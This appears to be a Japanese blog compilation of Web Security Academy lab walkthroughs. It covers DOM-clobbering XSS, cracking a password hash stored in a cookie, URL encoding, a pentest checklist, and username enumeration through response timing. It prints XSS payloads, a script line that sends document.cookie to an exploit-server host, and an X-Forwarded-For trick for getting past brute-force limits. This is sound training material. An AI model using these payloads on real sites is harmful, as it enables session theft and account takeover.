Clobbering DOM attributes to bypass HTML filtersをやってみた

Hello there, ('ω')ノ

HTMLフィルタをバイパスするためのDOM属性のクロバリングを。

DOMクロバリングに対して脆弱なHTMLJanitorライブラリを使用しているらしく。

フィルタをバイパスして。

DOMクロバリングを使用してdocument.cookieにalertベクタを挿入しなさいと。

ちなみにFirefoxでは機能しないのでChromeがお勧めらしく。

まずは、コメント投稿ページでHTMLJanitorを確認して。

HTMLJanitorは最初に初期化され、初期化のタグと属性のみを使用できて。

document.implementation.createHTMLDocumentで。

サンドボックスとして使用する新しいHTMLドキュメントを作成してから。

サンドボックス内の要素に対して_sanitizeフィルタリングを実行して。

_sanitize関数の開始時に、createTreeWalker関数が呼び出されて。

TreeWalkerが作成されて。

このクラスは、現在のドキュメントのサブツリー内のすべてのノードと。

その位置を表して。

こんな感じで、処理の流れを理解する必要があって。

説明を書いていくとあまりにも時間がかかってしまうので、またの機会にと。

さっそく、下記のコメントを投稿するものの。

　<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>

入力エリアは表示されるものの何も機能せず。

ちなみにURLは、下記のとおりで。

　https://acff1f421ebf83ef80d02d2f00e4001f.web-security-academy.net/post?postId=6

エクスプロイトサーバに下記を挿入して。

　<iframe src=https://acff1f421ebf83ef80d02d2f00e4001f.web-security-academy.net/post?postId=6 onload="setTimeout(someArgument=>this.src=this.src+'#x',500)">

コメントする前に完了する必要があるので、遅延操作が必要で。

簡単なのは、setTimeoutにiframeを使用することで

まずは、iframeが読み込まれるとJavaScriptが実行される前に。

コメントがロードされていることを確認するために遅延が必要なので。

500msの遅延させていて。

500msは、使用しているネットワーク条件に応じて適切に調整する必要があって。

Storeして、Deliverするとクリアできた。

View exploitすると。

ブラウザは、コメント内に作成したフォームのID「x」の要素にフォーカスして。

onfocusイベントハンドラーで、alert()ペイロードが実行されて。

Best regards, (^^ゞ

Offline password crackingをやってみた

Hello there, ('ω')ノ

オフラインパスワードクラッキングを。

このラボでは、ユーザのパスワードハッシュをCookieに保存して。

ラボには、コメント機能にXSSの脆弱性も含まれていて。

Carlosの stay-logged-inクッキとそれを使用して彼のパスワードを解読して。

carlosのアカウントを削除せよと。

まずは、ログインして。

リクエストを確認して。

Cookieのstay-logged-inをBase64でデコードすると。

username+':'+md5HashOfPasswordが確認できて。

　51dc30ddc473d43a6011e9ebba6ca770

下記のサイトで、ハッシュをクラックしてみると。

パスワードが確認できて。

注意事項として顧客サイトをテストする際には、Webサイト上のサービスではなく。

セキュリティ上、hashcatなどのツールを使用する必要があって。

　https://crackstation.net/

次にコメントにXSSのエクスプロイトを投稿して。

　<img src=x onerror=alert(1) ?>

XSSの脆弱性が確認できて。

エクスプロイトサーバのURLをコピーしておいて。

再度、下記のペイロードを投稿して。

　<script>document.location='https://ac3e1fa31e7143cd80f72330012d00f7.web-security-academy.net/'+document.cookie

アクセスログでで、stay-logged-inを確認して。

　stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

さきほどと同様にデコードして。

ハッシュをクラックすると、パスワードがわかったので。

　onceuponatime

carlosでログインして。

Deleteして。

再度、パスワードを入力してDeleteすると。

クリアできた。

Best regards, (^^ゞ

HTTPリクエスト時のURLエンコードについてかいてみた

Hello there, ('ω')ノ

HTTPリクエストは、いろんな部分で。

いくつかの文字が特別な意味を持っていることに注意する必要があって。

リクエスト内のデータを変更する場合は。

下記の文字をURLエンコードして。

意図したとおりに解釈されるようにする必要があって。

手動で診断するには、これを把握しておかないと正確に診断できなくて。

『＆』

URLクエリ文字列とメッセージ本文のパラメータを区切るために使用されて。

『＆』文字を挿入するには、『％26』としてエンコードする必要があって。

『=』

URLクエリ文字列とメッセージ本文の各パラメータ名と値を区切るために使用され。

『=』文字を挿入するには、『％3d』としてエンコードする必要があって。

『？』

URLクエリ文字列の開始をマークするために使用されて。

『？』文字を挿入するには、『％3f』としてエンコードする必要があって。

『スペース』

リクエストの最初の行でURLの終わりを示すために使用されて。

CookieヘッダのCookie値の終わりを示すことができて。

『スペース』を挿入するには、『％20』or『+』としてエンコードする必要があって。

『+』

エンコードされたスペースを表すため。

『+』文字を挿入するには、『％2b』としてエンコードする必要があって。

『;』

Cookieヘッダ内の個々のCookieを区切るために使用されて。

『;』文字の場合、これを『％3b』としてエンコードする必要があって。

『＃』

URL内のフラグメント識別子をマークするために使用されて。

『＃』文字をブラウザ内のURLに入力すると。

サーバに送信されるURLを効果的に切り捨てて。

『＃』文字を挿入するには、『％23』としてエンコードする必要があって。

『％』

URLエンコード方式のプレフィックスとして使用されて。

『％』文字を挿入するには、『％25』としてエンコードする必要があって。

『nullバイト』や『改行』などの非印刷文字

ASCII文字コードを使用してURLエンコードして。

（この場合は、それぞれ『％00』と『％0a』）

Best regards, (^^ゞ

Webアプリケーション脆弱性診断のガイドラインについてかいてみた

Hello there, ('ω')ノ

下記は、Webアプリケーションの脆弱性診断をするための。

一般的なガイドラインを概要レベルでまとめたもので。

当然のことながら常に更新されるもので。

企業として自信をもってサービスを提供しているのであれば。

この程度の方法論については、十分に理解しておくべきレベルかと。

1 アプリケーションのコンテンツをマッピング
　1.1 目に見えるコンテンツの探索
　1.2 パブリックリソースの参照
　1.3 隠しコンテンツの発見
　1.4 デフォルトコンテンツの検出
　1.5 識別子で指定された関数の列挙
　1.6 デバッグパラメータのテスト

2 アプリケーションの分析
　2.1 機能の特定
　2.2 データ入力ポイントの特定
　2.3 使用されているテクノロジーの特定
　2.4 攻撃対象領域をマッピング

3 クライアント側のコントロールのテスト
　3.1 クライアント経由のデータ送信のテスト
　3.2 ユーザ入力に対するクライアント側の制御のテスト
　3.3 ブラウザ拡張コンポーネントのテスト

4 認証メカニズムのテスト
　4.1 メカニズムの理解
　4.2 パスワード品質のテスト
　4.3 ユーザ名列挙のテスト
　4.4 パスワード推測に対する回復力のテスト
　4.5 アカウント回復機能のテスト
　4.6 任意のRememberMe機能のテスト
　4.7 偽装機能のテスト
　4.8 ユーザ名の一意性のテスト
　4.9 自動生成された資格情報のテスト予測可能性
　4.10 資格情報の安全でない送信の確認
　4.11 資格情報の安全でない配布の確認
　4.12 安全でないストレージのテスト
　4.13 論理欠陥のテスト
　4.14 脆弱性を悪用して不正アクセスの取得

5 セッション管理メカニズムのテスト
　5.1 メカニズムの理解
　5.2 意味のテストトークン
　5.3 予測可能性のテストトークン
　5.4 トークンの安全でない送信のチェック
　5.5 ログのトークンの開示の確認
　5.6 セッションへのトークンのマッピングの確認
　5.7 テストセッションの終了
　5.8 セッション固定の確認
　5.9  CSRFを確認
　5.10 Cookieスコープの確認

6 テストアクセス制御
　6.1 アクセス制御要件の理解
　6.2 複数のアカウントでのテスト
　6.3 制限付きアクセスでのテスト
　6.4 安全でないアクセス制御方法のテスト

7 入力ベースの脆弱性のテスト
　7.1 ファズすべてのリクエストパラメータ
　7.2 SQLインジェクションのテスト
　7.3 XSSおよびその他の応答注入のテスト
　7.4 OSコマンドインジェクションのテスト
　7.5 パストラバーサルのテスト
　7.6 スクリプトインジェクションのテスト
　7.7 ファイルインクルードのテスト

8 機能固有の入力の脆弱性のテスト
　8.1 SMTPインジェクションのテスト
　8.2 ネイティブソフトウェアの脆弱性のテスト
　8.3 SOAPインジェクションのテスト
　8.4 LDAPインジェクションのテスト
　8.5 XPathインジェクションのテスト
　8.6 バックエンドリクエストインジェクションのテスト
　8.7 XXEインジェクションのテスト

9 論理欠陥のテスト
　9.1 主要な攻撃対象領域の特定
　9.2 多段階プロセスのテスト
　9.3 不完全な入力のテスト処理
　9.4 テストの信頼境界
　9.5 トランザクションロジックのテスト

10 共有ホスティングの脆弱性のテスト
　10.1 共有インフラストラクチャでのテストの分離
　10.2 ASPでホストされるアプリケーション間のテスト分離

11 アプリケーションサーバの脆弱性のテスト
　11.1 デフォルトの資格情報のテスト
　11.2 デフォルトコンテンツのテスト
　11.3 危険なHTTPメソッドのテスト
　11.4 プロキシ機能のテスト
　11.5 仮想ホスティングの誤設定のテスト
　11.6 Webサーバソフトウェアのバグのテスト
　11.7 Webアプリケーションファイアウォールのテスト

12 その他のチェック
　12.1 DOMベースの攻撃をチェック
　12.2 ローカルプライバシーの脆弱性の確認
　12.3 弱いSSL暗号のチェック
　12.4 同一生成元ポリシー構成の確認

13 情報漏えいのフォローアップ

Best regards, (^^ゞ

Username enumeration via response timingをやってみた

Hello there,  ('ω')ノ

応答タイミングによるユーザー名の列挙を。

このラボは、応答時間を使用したユーザ名の列挙に対して脆弱で。

ラボを解決するには、有効なユーザ名でパスワードを総当たり攻撃せよと。

適当にログインをしようとすると、初めのエラーメッセージが。

そのうちに変わってきて。

とりあえずは、リピータへ。

下記のヘッダを追加するとエラーメッセージが変わるので、サポートしていようで。

X-Forwarded-Forは、送信元 IP アドレスを特定するためのヘッダで。

IPアドレスをスプーフィングすれば、ブルートフォース保護をバイパスできて。

　X-Forwarded-For: 1

さらに有効なユーザ名の場合だと。

パスワードの長さによってレスポンス時間が変わるようで。

　550ms

パスワードが長いと。

　1720ms

次にIntruderへ。

Pichforkを選択して。

X-Forwarded-Forを可変させて。

usernameは、下記をコピーして。

貼り付けて。

レスポンス時間を確認したいので、カラムを追加してStart attackすると。

下記がレスポンスが長いので、有効なユーザ名の可能性があって。

　arcsight

次にユーザ名を設定して、パスワードをブルートフォースすることに。

パスワードリストは下記からコピーして。

貼り付けてStart attackすると、下記がヒットして。

　michelle

さっそく、ログインしてみると。

クリアできた。

Best regards, (^^ゞ